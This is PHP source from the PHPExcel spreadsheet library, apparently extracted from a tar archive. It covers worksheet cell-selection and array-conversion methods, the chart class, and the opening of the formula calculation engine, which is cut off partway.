/** * Get active cell * * @return string Example: 'A1' */ public function getActiveCell() { return $this->activeCell; } /** * Get selected cells * * @return string */ public function getSelectedCells() { return $this->selectedCells; } /** * Selected cell * * @param string $pCoordinate Cell (i.e. A1) * @return PHPExcel_Worksheet */ public function setSelectedCell($pCoordinate = 'A1') { return $this->setSelectedCells($pCoordinate); } /** * Select a range of cells. * * @param string $pCoordinate Cell range, examples: 'A1', 'B2:G5', 'A:C', '3:6' * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function setSelectedCells($pCoordinate = 'A1') { // Uppercase coordinate $pCoordinate = strtoupper($pCoordinate); // Convert 'A' to 'A:A' $pCoordinate = preg_replace('/^([A-Z]+)$/', '${1}:${1}', $pCoordinate); // Convert '1' to '1:1' $pCoordinate = preg_replace('/^([0-9]+)$/', '${1}:${1}', $pCoordinate); // Convert 'A:C' to 'A1:C1048576' $pCoordinate = preg_replace('/^([A-Z]+):([A-Z]+)$/', '${1}1:${2}1048576', $pCoordinate); // Convert '1:3' to 'A1:XFD3' $pCoordinate = preg_replace('/^([0-9]+):([0-9]+)$/', 'A${1}:XFD${2}', $pCoordinate); if (strpos($pCoordinate, ':') !== false || strpos($pCoordinate, ',') !== false) { list($first, ) = PHPExcel_Cell::splitRange($pCoordinate); $this->activeCell = $first[0]; } else { $this->activeCell = $pCoordinate; } $this->selectedCells = $pCoordinate; return $this; } /** * Selected cell by using numeric cell coordinates * * @param int $pColumn Numeric column coordinate of the cell * @param int $pRow Numeric row coordinate of the cell * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function setSelectedCellByColumnAndRow($pColumn = 0, $pRow = 1) { return $this->setSelectedCells(PHPExcel_Cell::stringFromColumnIndex($pColumn) . $pRow); } /** * Get right-to-left * * @return boolean */ public function getRightToLeft() { return $this->rightToLeft; } /** * Set right-to-left * * @param boolean $value Right-to-left true/false * @return PHPExcel_Worksheet */ public function setRightToLeft($value = false) { $this->rightToLeft = $value; return $this; } /** * Fill worksheet from values in array * * @param array $source Source array * @param mixed $nullValue Value in source array that stands for blank cell * @param string $startCell Insert array starting from this cell address as the top left coordinate * @param boolean $strictNullComparison Apply strict comparison when testing for null values in the array * @throws PHPExcel_Exception * @return PHPExcel_Worksheet */ public function fromArray($source = null, $nullValue = null, $startCell = 'A1', $strictNullComparison = false) { if (is_array($source)) { // Convert a 1-D array to 2-D (for ease of looping) if (!is_array(end($source))) { $source = array($source); } // start coordinate list ($startColumn, $startRow) = PHPExcel_Cell::coordinateFromString($startCell); // Loop through $source foreach ($source as $rowData) { $currentColumn = $startColumn; foreach ($rowData as $cellValue) { if ($strictNullComparison) { if ($cellValue !== $nullValue) { // Set cell value $this->getCell($currentColumn . $startRow)->setValue($cellValue); } } else { if ($cellValue != $nullValue) { // Set cell value $this->getCell($currentColumn . $startRow)->setValue($cellValue); } } ++$currentColumn; } ++$startRow; } } else { throw new PHPExcel_Exception("Parameter \$source should be an array."); } return $this; } /** * Create array from a range of cells * * @param string $pRange Range of cells (i.e. "A1:B10"), or just one cell (i.e. "A1") * @param mixed $nullValue Value returned in the array entry if a cell doesn't exist * @param boolean $calculateFormulas Should formulas be calculated? * @param boolean $formatData Should formatting be applied to cell values? * @param boolean $returnCellRef False - Return a simple array of rows and columns indexed by number counting from zero * True - Return rows and columns indexed by their actual row and column IDs * @return array */ public function rangeToArray($pRange = 'A1', $nullValue = null, $calculateFormulas = true, $formatData = true, $returnCellRef = false) { // Returnvalue $returnValue = array(); // Identify the range that we need to extract from the worksheet list($rangeStart, $rangeEnd) = PHPExcel_Cell::rangeBoundaries($pRange); $minCol = PHPExcel_Cell::stringFromColumnIndex($rangeStart[0] -1); $minRow = $rangeStart[1]; $maxCol = PHPExcel_Cell::stringFromColumnIndex($rangeEnd[0] -1); $maxRow = $rangeEnd[1]; $maxCol++; // Loop through rows $r = -1; for ($row = $minRow; $row <= $maxRow; ++$row) { $rRef = ($returnCellRef) ? $row : ++$r; $c = -1; // Loop through columns in the current row for ($col = $minCol; $col != $maxCol; ++$col) { $cRef = ($returnCellRef) ? $col : ++$c; // Using getCell() will create a new cell if it doesn't already exist. We don't want that to happen // so we test and retrieve directly against cellCollection if ($this->cellCollection->isDataSet($col.$row)) { // Cell exists $cell = $this->cellCollection->getCacheData($col.$row); if ($cell->getValue() !== null) { if ($cell->getValue() instanceof PHPExcel_RichText) { $returnValue[$rRef][$cRef] = $cell->getValue()->getPlainText(); } else { if ($calculateFormulas) { $returnValue[$rRef][$cRef] = $cell->getCalculatedValue(); } else { $returnValue[$rRef][$cRef] = $cell->getValue(); } } if ($formatData) { $style = $this->parent->getCellXfByIndex($cell->getXfIndex()); $returnValue[$rRef][$cRef] = PHPExcel_Style_NumberFormat::toFormattedString( $returnValue[$rRef][$cRef], ($style && $style->getNumberFormat()) ? $style->getNumberFormat()->getFormatCode() : PHPExcel_Style_NumberFormat::FORMAT_GENERAL ); } } else { // Cell holds a NULL $returnValue[$rRef][$cRef] = $nullValue; } } else { // Cell doesn't exist $returnValue[$rRef][$cRef] = $nullValue; } } } // Return return $returnValue; } /** * Create array from a range of cells * * @param string $pNamedRange Name of the Named Range * @param mixed $nullValue Value returned in the array entry if a cell doesn't exist * @param boolean $calculateFormulas Should formulas be calculated? * @param boolean $formatData Should formatting be applied to cell values? * @param boolean $returnCellRef False - Return a simple array of rows and columns indexed by number counting from zero * True - Return rows and columns indexed by their actual row and column IDs * @return array * @throws PHPExcel_Exception */ public function namedRangeToArray($pNamedRange = '', $nullValue = null, $calculateFormulas = true, $formatData = true, $returnCellRef = false) { $namedRange = PHPExcel_NamedRange::resolveRange($pNamedRange, $this); if ($namedRange !== null) { $pWorkSheet = $namedRange->getWorksheet(); $pCellRange = $namedRange->getRange(); return $pWorkSheet->rangeToArray($pCellRange, $nullValue, $calculateFormulas, $formatData, $returnCellRef); } throw new PHPExcel_Exception('Named Range '.$pNamedRange.' does not exist.'); } /** * Create array from worksheet * * @param mixed $nullValue Value returned in the array entry if a cell doesn't exist * @param boolean $calculateFormulas Should formulas be calculated? * @param boolean $formatData Should formatting be applied to cell values? * @param boolean $returnCellRef False - Return a simple array of rows and columns indexed by number counting from zero * True - Return rows and columns indexed by their actual row and column IDs * @return array */ public function toArray($nullValue = null, $calculateFormulas = true, $formatData = true, $returnCellRef = false) { // Garbage collect... $this->garbageCollect(); // Identify the range that we need to extract from the worksheet $maxCol = $this->getHighestColumn(); $maxRow = $this->getHighestRow(); // Return return $this->rangeToArray('A1:'.$maxCol.$maxRow, $nullValue, $calculateFormulas, $formatData, $returnCellRef); } /** * Get row iterator * * @param integer $startRow The row number at which to start iterating * @param integer $endRow The row number at which to stop iterating * * @return PHPExcel_Worksheet_RowIterator */ public function getRowIterator($startRow = 1, $endRow = null) { return new PHPExcel_Worksheet_RowIterator($this, $startRow, $endRow); } /** * Get column iterator * * @param string $startColumn The column address at which to start iterating * @param string $endColumn The column address at which to stop iterating * * @return PHPExcel_Worksheet_ColumnIterator */ public function getColumnIterator($startColumn = 'A', $endColumn = null) { return new PHPExcel_Worksheet_ColumnIterator($this, $startColumn, $endColumn); } /** * Run PHPExcel garabage collector. * * @return PHPExcel_Worksheet */ public function garbageCollect() { // Flush cache $this->cellCollection->getCacheData('A1'); // Build a reference table from images // $imageCoordinates = array(); // $iterator = $this->getDrawingCollection()->getIterator(); // while ($iterator->valid()) { // $imageCoordinates[$iterator->current()->getCoordinates()] = true; // // $iterator->next(); // } // // Lookup highest column and highest row if cells are cleaned $colRow = $this->cellCollection->getHighestRowAndColumn(); $highestRow = $colRow['row']; $highestColumn = PHPExcel_Cell::columnIndexFromString($colRow['column']); // Loop through column dimensions foreach ($this->columnDimensions as $dimension) { $highestColumn = max($highestColumn, PHPExcel_Cell::columnIndexFromString($dimension->getColumnIndex())); } // Loop through row dimensions foreach ($this->rowDimensions as $dimension) { $highestRow = max($highestRow, $dimension->getRowIndex()); } // Cache values if ($highestColumn < 0) { $this->cachedHighestColumn = 'A'; } else { $this->cachedHighestColumn = PHPExcel_Cell::stringFromColumnIndex(--$highestColumn); } $this->cachedHighestRow = $highestRow; // Return return $this; } /** * Get hash code * * @return string Hash code */ public function getHashCode() { if ($this->dirty) { $this->hash = md5($this->title . $this->autoFilter . ($this->protection->isProtectionEnabled() ? 't' : 'f') . __CLASS__); $this->dirty = false; } return $this->hash; } /** * Extract worksheet title from range. * * Example: extractSheetTitle("testSheet!A1") ==> 'A1' * Example: extractSheetTitle("'testSheet 1'!A1", true) ==> array('testSheet 1', 'A1'); * * @param string $pRange Range to extract title from * @param bool $returnRange Return range? (see example) * @return mixed */ public static function extractSheetTitle($pRange, $returnRange = false) { // Sheet title included? if (($sep = strpos($pRange, '!')) === false) { return ''; } if ($returnRange) { return array(trim(substr($pRange, 0, $sep), "'"), substr($pRange, $sep + 1)); } return substr($pRange, $sep + 1); } /** * Get hyperlink * * @param string $pCellCoordinate Cell coordinate to get hyperlink for */ public function getHyperlink($pCellCoordinate = 'A1') { // return hyperlink if we already have one if (isset($this->hyperlinkCollection[$pCellCoordinate])) { return $this->hyperlinkCollection[$pCellCoordinate]; } // else create hyperlink $this->hyperlinkCollection[$pCellCoordinate] = new PHPExcel_Cell_Hyperlink(); return $this->hyperlinkCollection[$pCellCoordinate]; } /** * Set hyperlnk * * @param string $pCellCoordinate Cell coordinate to insert hyperlink * @param PHPExcel_Cell_Hyperlink $pHyperlink * @return PHPExcel_Worksheet */ public function setHyperlink($pCellCoordinate = 'A1', PHPExcel_Cell_Hyperlink $pHyperlink = null) { if ($pHyperlink === null) { unset($this->hyperlinkCollection[$pCellCoordinate]); } else { $this->hyperlinkCollection[$pCellCoordinate] = $pHyperlink; } return $this; } /** * Hyperlink at a specific coordinate exists? * * @param string $pCoordinate * @return boolean */ public function hyperlinkExists($pCoordinate = 'A1') { return isset($this->hyperlinkCollection[$pCoordinate]); } /** * Get collection of hyperlinks * * @return PHPExcel_Cell_Hyperlink[] */ public function getHyperlinkCollection() { return $this->hyperlinkCollection; } /** * Get data validation * * @param string $pCellCoordinate Cell coordinate to get data validation for */ public function getDataValidation($pCellCoordinate = 'A1') { // return data validation if we already have one if (isset($this->dataValidationCollection[$pCellCoordinate])) { return $this->dataValidationCollection[$pCellCoordinate]; } // else create data validation $this->dataValidationCollection[$pCellCoordinate] = new PHPExcel_Cell_DataValidation(); return $this->dataValidationCollection[$pCellCoordinate]; } /** * Set data validation * * @param string $pCellCoordinate Cell coordinate to insert data validation * @param PHPExcel_Cell_DataValidation $pDataValidation * @return PHPExcel_Worksheet */ public function setDataValidation($pCellCoordinate = 'A1', PHPExcel_Cell_DataValidation $pDataValidation = null) { if ($pDataValidation === null) { unset($this->dataValidationCollection[$pCellCoordinate]); } else { $this->dataValidationCollection[$pCellCoordinate] = $pDataValidation; } return $this; } /** * Data validation at a specific coordinate exists? * * @param string $pCoordinate * @return boolean */ public function dataValidationExists($pCoordinate = 'A1') { return isset($this->dataValidationCollection[$pCoordinate]); } /** * Get collection of data validations * * @return PHPExcel_Cell_DataValidation[] */ public function getDataValidationCollection() { return $this->dataValidationCollection; } /** * Accepts a range, returning it as a range that falls within the current highest row and column of the worksheet * * @param string $range * @return string Adjusted range value */ public function shrinkRangeToFit($range) { $maxCol = $this->getHighestColumn(); $maxRow = $this->getHighestRow(); $maxCol = PHPExcel_Cell::columnIndexFromString($maxCol); $rangeBlocks = explode(' ', $range); foreach ($rangeBlocks as &$rangeSet) { $rangeBoundaries = PHPExcel_Cell::getRangeBoundaries($rangeSet); if (PHPExcel_Cell::columnIndexFromString($rangeBoundaries[0][0]) > $maxCol) { $rangeBoundaries[0][0] = PHPExcel_Cell::stringFromColumnIndex($maxCol); } if ($rangeBoundaries[0][1] > $maxRow) { $rangeBoundaries[0][1] = $maxRow; } if (PHPExcel_Cell::columnIndexFromString($rangeBoundaries[1][0]) > $maxCol) { $rangeBoundaries[1][0] = PHPExcel_Cell::stringFromColumnIndex($maxCol); } if ($rangeBoundaries[1][1] > $maxRow) { $rangeBoundaries[1][1] = $maxRow; } $rangeSet = $rangeBoundaries[0][0].$rangeBoundaries[0][1].':'.$rangeBoundaries[1][0].$rangeBoundaries[1][1]; } unset($rangeSet); $stRange = implode(' ', $rangeBlocks); return $stRange; } /** * Get tab color * * @return PHPExcel_Style_Color */ public function getTabColor() { if ($this->tabColor === null) { $this->tabColor = new PHPExcel_Style_Color(); } return $this->tabColor; } /** * Reset tab color * * @return PHPExcel_Worksheet */ public function resetTabColor() { $this->tabColor = null; unset($this->tabColor); return $this; } /** * Tab color set? * * @return boolean */ public function isTabColorSet() { return ($this->tabColor !== null); } /** * Copy worksheet (!= clone!) * * @return PHPExcel_Worksheet */ public function copy() { $copied = clone $this; return $copied; } /** * Implement PHP __clone to create a deep clone, not just a shallow copy. */ public function __clone() { foreach ($this as $key => $val) { if ($key == 'parent') { continue; } if (is_object($val) || (is_array($val))) { if ($key == 'cellCollection') { $newCollection = clone $this->cellCollection; $newCollection->copyCellCollection($this); $this->cellCollection = $newCollection; } elseif ($key == 'drawingCollection') { $newCollection = clone $this->drawingCollection; $this->drawingCollection = $newCollection; } elseif (($key == 'autoFilter') && ($this->autoFilter instanceof PHPExcel_Worksheet_AutoFilter)) { $newAutoFilter = clone $this->autoFilter; $this->autoFilter = $newAutoFilter; $this->autoFilter->setParent($this); } else { $this->{$key} = unserialize(serialize($val)); } } } } /** * Define the code name of the sheet * * @param null|string Same rule as Title minus space not allowed (but, like Excel, change silently space to underscore) * @return objWorksheet * @throws PHPExcel_Exception */ public function setCodeName($pValue = null) { // Is this a 'rename' or not? if ($this->getCodeName() == $pValue) { return $this; } $pValue = str_replace(' ', '_', $pValue);//Excel does this automatically without flinching, we are doing the same // Syntax check // throw an exception if not valid self::checkSheetCodeName($pValue); // We use the same code that setTitle to find a valid codeName else not using a space (Excel don't like) but a '_' if ($this->getParent()) { // Is there already such sheet name? if ($this->getParent()->sheetCodeNameExists($pValue)) { // Use name, but append with lowest possible integer if (PHPExcel_Shared_String::CountCharacters($pValue) > 29) { $pValue = PHPExcel_Shared_String::Substring($pValue, 0, 29); } $i = 1; while ($this->getParent()->sheetCodeNameExists($pValue . '_' . $i)) { ++$i; if ($i == 10) { if (PHPExcel_Shared_String::CountCharacters($pValue) > 28) { $pValue = PHPExcel_Shared_String::Substring($pValue, 0, 28); } } elseif ($i == 100) { if (PHPExcel_Shared_String::CountCharacters($pValue) > 27) { $pValue = PHPExcel_Shared_String::Substring($pValue, 0, 27); } } } $pValue = $pValue . '_' . $i;// ok, we have a valid name //codeName is'nt used in formula : no need to call for an update //return $this->setTitle($altTitle, $updateFormulaCellReferences); } } $this->codeName=$pValue; return $this; } /** * Return the code name of the sheet * * @return null|string */ public function getCodeName() { return $this->codeName; } /** * Sheet has a code name ? * @return boolean */ public function hasCodeName() { return !(is_null($this->codeName)); } } PHPExcel/Chart.php 0000644 00000034662 14642534110 0007741 0 ustar 00 <?php /** * PHPExcel_Chart * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Chart * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Chart { /** * Chart Name * * @var string */ private $name = ''; /** * Worksheet * * @var PHPExcel_Worksheet */ private $worksheet; /** * Chart Title * * @var PHPExcel_Chart_Title */ private $title; /** * Chart Legend * * @var PHPExcel_Chart_Legend */ private $legend; /** * X-Axis Label * * @var PHPExcel_Chart_Title */ private $xAxisLabel; /** * Y-Axis Label * * @var PHPExcel_Chart_Title */ private $yAxisLabel; /** * Chart Plot Area * * @var PHPExcel_Chart_PlotArea */ private $plotArea; /** * Plot Visible Only * * @var boolean */ private $plotVisibleOnly = true; /** * Display Blanks as * * @var string */ private $displayBlanksAs = '0'; /** * Chart Asix Y as * * @var PHPExcel_Chart_Axis */ private $yAxis; /** * Chart Asix X as * * @var PHPExcel_Chart_Axis */ private $xAxis; /** * Chart Major Gridlines as * * @var PHPExcel_Chart_GridLines */ private $majorGridlines; /** * Chart Minor Gridlines as * * @var PHPExcel_Chart_GridLines */ private $minorGridlines; /** * Top-Left Cell Position * * @var string */ private $topLeftCellRef = 'A1'; /** * Top-Left X-Offset * * @var integer */ private $topLeftXOffset = 0; /** * Top-Left Y-Offset * * @var integer */ private $topLeftYOffset = 0; /** * Bottom-Right Cell Position * * @var string */ private $bottomRightCellRef = 'A1'; /** * Bottom-Right X-Offset * * @var integer */ private $bottomRightXOffset = 10; /** * Bottom-Right Y-Offset * * @var integer */ private $bottomRightYOffset = 10; /** * Create a new PHPExcel_Chart */ public function __construct($name, PHPExcel_Chart_Title $title = null, PHPExcel_Chart_Legend $legend = null, PHPExcel_Chart_PlotArea $plotArea = null, $plotVisibleOnly = true, $displayBlanksAs = '0', PHPExcel_Chart_Title $xAxisLabel = null, PHPExcel_Chart_Title $yAxisLabel = null, PHPExcel_Chart_Axis $xAxis = null, PHPExcel_Chart_Axis $yAxis = null, PHPExcel_Chart_GridLines $majorGridlines = null, PHPExcel_Chart_GridLines $minorGridlines = null) { $this->name = $name; $this->title = $title; $this->legend = $legend; $this->xAxisLabel = $xAxisLabel; $this->yAxisLabel = $yAxisLabel; $this->plotArea = $plotArea; $this->plotVisibleOnly = $plotVisibleOnly; $this->displayBlanksAs = $displayBlanksAs; $this->xAxis = $xAxis; $this->yAxis = $yAxis; $this->majorGridlines = $majorGridlines; $this->minorGridlines = $minorGridlines; } /** * Get Name * * @return string */ public function getName() { return $this->name; } /** * Get Worksheet * * @return PHPExcel_Worksheet */ public function getWorksheet() { return $this->worksheet; } /** * Set Worksheet * * @param PHPExcel_Worksheet $pValue * @throws PHPExcel_Chart_Exception * @return PHPExcel_Chart */ public function setWorksheet(PHPExcel_Worksheet $pValue = null) { $this->worksheet = $pValue; return $this; } /** * Get Title * * @return PHPExcel_Chart_Title */ public function getTitle() { return $this->title; } /** * Set Title * * @param PHPExcel_Chart_Title $title * @return PHPExcel_Chart */ public function setTitle(PHPExcel_Chart_Title $title) { $this->title = $title; return $this; } /** * Get Legend * * @return PHPExcel_Chart_Legend */ public function getLegend() { return $this->legend; } /** * Set Legend * * @param PHPExcel_Chart_Legend $legend * @return PHPExcel_Chart */ public function setLegend(PHPExcel_Chart_Legend $legend) { $this->legend = $legend; return $this; } /** * Get X-Axis Label * * @return PHPExcel_Chart_Title */ public function getXAxisLabel() { return $this->xAxisLabel; } /** * Set X-Axis Label * * @param PHPExcel_Chart_Title $label * @return PHPExcel_Chart */ public function setXAxisLabel(PHPExcel_Chart_Title $label) { $this->xAxisLabel = $label; return $this; } /** * Get Y-Axis Label * * @return PHPExcel_Chart_Title */ public function getYAxisLabel() { return $this->yAxisLabel; } /** * Set Y-Axis Label * * @param PHPExcel_Chart_Title $label * @return PHPExcel_Chart */ public function setYAxisLabel(PHPExcel_Chart_Title $label) { $this->yAxisLabel = $label; return $this; } /** * Get Plot Area * * @return PHPExcel_Chart_PlotArea */ public function getPlotArea() { return $this->plotArea; } /** * Get Plot Visible Only * * @return boolean */ public function getPlotVisibleOnly() { return $this->plotVisibleOnly; } /** * Set Plot Visible Only * * @param boolean $plotVisibleOnly * @return PHPExcel_Chart */ public function setPlotVisibleOnly($plotVisibleOnly = true) { $this->plotVisibleOnly = $plotVisibleOnly; return $this; } /** * Get Display Blanks as * * @return string */ public function getDisplayBlanksAs() { return $this->displayBlanksAs; } /** * Set Display Blanks as * * @param string $displayBlanksAs * @return PHPExcel_Chart */ public function setDisplayBlanksAs($displayBlanksAs = '0') { $this->displayBlanksAs = $displayBlanksAs; } /** * Get yAxis * * @return PHPExcel_Chart_Axis */ public function getChartAxisY() { if ($this->yAxis !== null) { return $this->yAxis; } return new PHPExcel_Chart_Axis(); } /** * Get xAxis * * @return PHPExcel_Chart_Axis */ public function getChartAxisX() { if ($this->xAxis !== null) { return $this->xAxis; } return new PHPExcel_Chart_Axis(); } /** * Get Major Gridlines * * @return PHPExcel_Chart_GridLines */ public function getMajorGridlines() { if ($this->majorGridlines !== null) { return $this->majorGridlines; } return new PHPExcel_Chart_GridLines(); } /** * Get Minor Gridlines * * @return PHPExcel_Chart_GridLines */ public function getMinorGridlines() { if ($this->minorGridlines !== null) { return $this->minorGridlines; } return new PHPExcel_Chart_GridLines(); } /** * Set the Top Left position for the chart * * @param string $cell * @param integer $xOffset * @param integer $yOffset * @return PHPExcel_Chart */ public function setTopLeftPosition($cell, $xOffset = null, $yOffset = null) { $this->topLeftCellRef = $cell; if (!is_null($xOffset)) { $this->setTopLeftXOffset($xOffset); } if (!is_null($yOffset)) { $this->setTopLeftYOffset($yOffset); } return $this; } /** * Get the top left position of the chart * * @return array an associative array containing the cell address, X-Offset and Y-Offset from the top left of that cell */ public function getTopLeftPosition() { return array( 'cell' => $this->topLeftCellRef, 'xOffset' => $this->topLeftXOffset, 'yOffset' => $this->topLeftYOffset ); } /** * Get the cell address where the top left of the chart is fixed * * @return string */ public function getTopLeftCell() { return $this->topLeftCellRef; } /** * Set the Top Left cell position for the chart * * @param string $cell * @return PHPExcel_Chart */ public function setTopLeftCell($cell) { $this->topLeftCellRef = $cell; return $this; } /** * Set the offset position within the Top Left cell for the chart * * @param integer $xOffset * @param integer $yOffset * @return PHPExcel_Chart */ public function setTopLeftOffset($xOffset = null, $yOffset = null) { if (!is_null($xOffset)) { $this->setTopLeftXOffset($xOffset); } if (!is_null($yOffset)) { $this->setTopLeftYOffset($yOffset); } return $this; } /** * Get the offset position within the Top Left cell for the chart * * @return integer[] */ public function getTopLeftOffset() { return array( 'X' => $this->topLeftXOffset, 'Y' => $this->topLeftYOffset ); } public function setTopLeftXOffset($xOffset) { $this->topLeftXOffset = $xOffset; return $this; } public function getTopLeftXOffset() { return $this->topLeftXOffset; } public function setTopLeftYOffset($yOffset) { $this->topLeftYOffset = $yOffset; return $this; } public function getTopLeftYOffset() { return $this->topLeftYOffset; } /** * Set the Bottom Right position of the chart * * @param string $cell * @param integer $xOffset * @param integer $yOffset * @return PHPExcel_Chart */ public function setBottomRightPosition($cell, $xOffset = null, $yOffset = null) { $this->bottomRightCellRef = $cell; if (!is_null($xOffset)) { $this->setBottomRightXOffset($xOffset); } if (!is_null($yOffset)) { $this->setBottomRightYOffset($yOffset); } return $this; } /** * Get the bottom right position of the chart * * @return array an associative array containing the cell address, X-Offset and Y-Offset from the top left of that cell */ public function getBottomRightPosition() { return array( 'cell' => $this->bottomRightCellRef, 'xOffset' => $this->bottomRightXOffset, 'yOffset' => $this->bottomRightYOffset ); } public function setBottomRightCell($cell) { $this->bottomRightCellRef = $cell; return $this; } /** * Get the cell address where the bottom right of the chart is fixed * * @return string */ public function getBottomRightCell() { return $this->bottomRightCellRef; } /** * Set the offset position within the Bottom Right cell for the chart * * @param integer $xOffset * @param integer $yOffset * @return PHPExcel_Chart */ public function setBottomRightOffset($xOffset = null, $yOffset = null) { if (!is_null($xOffset)) { $this->setBottomRightXOffset($xOffset); } if (!is_null($yOffset)) { $this->setBottomRightYOffset($yOffset); } return $this; } /** * Get the offset position within the Bottom Right cell for the chart * * @return integer[] */ public function getBottomRightOffset() { return array( 'X' => $this->bottomRightXOffset, 'Y' => $this->bottomRightYOffset ); } public function setBottomRightXOffset($xOffset) { $this->bottomRightXOffset = $xOffset; return $this; } public function getBottomRightXOffset() { return $this->bottomRightXOffset; } public function setBottomRightYOffset($yOffset) { $this->bottomRightYOffset = $yOffset; return $this; } public function getBottomRightYOffset() { return $this->bottomRightYOffset; } public function refresh() { if ($this->worksheet !== null) { $this->plotArea->refresh($this->worksheet); } } public function render($outputDestination = null) { $libraryName = PHPExcel_Settings::getChartRendererName(); if (is_null($libraryName)) { return false; } // Ensure that data series values are up-to-date before we render $this->refresh(); $libraryPath = PHPExcel_Settings::getChartRendererPath(); $includePath = str_replace('\\', '/', get_include_path()); $rendererPath = str_replace('\\', '/', $libraryPath); if (strpos($rendererPath, $includePath) === false) { set_include_path(get_include_path() . PATH_SEPARATOR . $libraryPath); } $rendererName = 'PHPExcel_Chart_Renderer_'.$libraryName; $renderer = new $rendererName($this); if ($outputDestination == 'php://output') { $outputDestination = null; } return $renderer->render($outputDestination); } } PHPExcel/Calculation.php 0000644 00000612435 14642534110 0011136 0 ustar 00 <?php /** PHPExcel root directory */ if (!defined('PHPEXCEL_ROOT')) { /** * @ignore */ define('PHPEXCEL_ROOT', dirname(__FILE__) . '/../'); require(PHPEXCEL_ROOT . 'PHPExcel/Autoloader.php'); } if (!defined('CALCULATION_REGEXP_CELLREF')) { // Test for support of \P (multibyte options) in PCRE if (defined('PREG_BAD_UTF8_ERROR')) { // Cell reference (cell or range of cells, with or without a sheet reference) define('CALCULATION_REGEXP_CELLREF', '((([^\s,!&%^\/\*\+<>=-]*)|(\'[^\']*\')|(\"[^\"]*\"))!)?\$?([a-z]{1,3})\$?(\d{1,7})'); // Named Range of cells define('CALCULATION_REGEXP_NAMEDRANGE', '((([^\s,!&%^\/\*\+<>=-]*)|(\'[^\']*\')|(\"[^\"]*\"))!)?([_A-Z][_A-Z0-9\.]*)'); } else { // Cell reference (cell or range of cells, with or without a sheet reference) define('CALCULATION_REGEXP_CELLREF', '(((\w*)|(\'[^\']*\')|(\"[^\"]*\"))!)?\$?([a-z]{1,3})\$?(\d+)'); // Named Range of cells define('CALCULATION_REGEXP_NAMEDRANGE', '(((\w*)|(\'.*\')|(\".*\"))!)?([_A-Z][_A-Z0-9\.]*)'); } } /** * PHPExcel_Calculation (Multiton) * * Copyright (c) 2006 - 2015 PHPExcel * * This library is free software; you can redistribute it and/or * modify it under the terms of the GNU Lesser General Public * License as published by the Free Software Foundation; either * version 2.1 of the License, or (at your option) any later version. * * This library is distributed in the hope that it will be useful, * but WITHOUT ANY WARRANTY; without even the implied warranty of * MERCHANTABILITY or FITNESS FOR A PARTICULAR PURPOSE. See the GNU * Lesser General Public License for more details. * * You should have received a copy of the GNU Lesser General Public * License along with this library; if not, write to the Free Software * Foundation, Inc., 51 Franklin Street, Fifth Floor, Boston, MA 02110-1301 USA * * @category PHPExcel * @package PHPExcel_Calculation * @copyright Copyright (c) 2006 - 2015 PHPExcel (http://www.codeplex.com/PHPExcel) * @license http://www.gnu.org/licenses/old-licenses/lgpl-2.1.txt LGPL * @version ##VERSION##, ##DATE## */ class PHPExcel_Calculation { /** Constants */ /** Regular Expressions */ // Numeric operand const CALCULATION_REGEXP_NUMBER = '[-+]?\d*\.?\d+(e[-+]?\d+)?'; // String operand const CALCULATION_REGEXP_STRING = '"(?:[^"]|"")*"'; // Opening bracket const CALCULATION_REGEXP_OPENBRACE = '\('; // Function (allow for the old @ symbol that could be used to prefix a function, but we'll ignore it) const CALCULATION_REGEXP_FUNCTION = '@?([A-Z][A-Z0-9\.]*)[\s]*\('; // Cell reference (cell or range of cells, with or without a sheet reference) const CALCULATION_REGEXP_CELLREF = CALCULATION_REGEXP_CELLREF; // Named Range of cells const CALCULATION_REGEXP_NAMEDRANGE = CALCULATION_REGEXP_NAMEDRANGE; // Error const CALCULATION_REGEXP_ERROR = '\#[A-Z][A-Z0_\/]*[!\?]?'; /** constants */ const RETURN_ARRAY_AS_ERROR = 'error'; const RETURN_ARRAY_AS_VALUE = 'value'; const RETURN_ARRAY_AS_ARRAY = 'array'; private static $returnArrayAsType = self::RETURN_ARRAY_AS_VALUE; /** * Instance of this class * * @access private * @var PHPExcel_Calculation */ private static $instance; /** * Instance of the workbook this Calculation Engine is using * * @access private * @var PHPExcel */ private $workbook; /** * List of instances of the calculation engine that we've instantiated for individual workbooks * * @access private * @var PHPExcel_Calculation[] */ private static $workbookSets; /** * Calculation cache * * @access private * @var array */ private $calculationCache = array (); /** * Calculation cache enabled * * @access private * @var boolean */ private $calculationCacheEnabled = true; /** * List of operators that can be used within formulae * The true/false value indicates whether it is a binary operator or a unary operator * * @access private * @var array */ private static $operators = array( '+' => true, '-' => true, '*' => true, '/' => true, '^' => true, '&' => true, '%' => false, '~' => false, '>' => true, '<' => true, '=' => true, '>=' => true, '<=' => true, '<>' => true, '|' => true, ':' => true ); /** * List of binary operators (those that expect two operands) * * @access private * @var array */ private static $binaryOperators = array( '+' => true, '-' => true, '*' => true, '/' => true, '^' => true, '&' => true, '>' => true, '<' => true, '=' => true, '>=' => true, '<=' => true, '<>' => true, '|' => true, ':' => true ); /** * The debug log generated by the calculation engine * * @access private * @var PHPExcel_CalcEngine_Logger * */ private $debugLog; /** * Flag to determine how formula errors should be handled * If true, then a user error will be triggered * If false, then an exception will be thrown * * @access public * @var boolean * */ public $suppressFormulaErrors = false; /** * Error message for any error that was raised/thrown by the calculation engine * * @access public * @var string * */ public $formulaError = null; /** * An array of the nested cell references accessed by the calculation engine, used for the debug log * * @access private * @var array of string * */ private $cyclicReferenceStack; private $cellStack = array(); /** * Current iteration counter for cyclic formulae * If the value is 0 (or less) then cyclic formulae will throw an exception, * otherwise they will iterate to the limit defined here before returning a result * * @var integer * */ private $cyclicFormulaCounter = 1; private $cyclicFormulaCell = ''; /** * Number of iterations for cyclic formulae * * @var integer * */ public $cyclicFormulaCount = 1; /** * 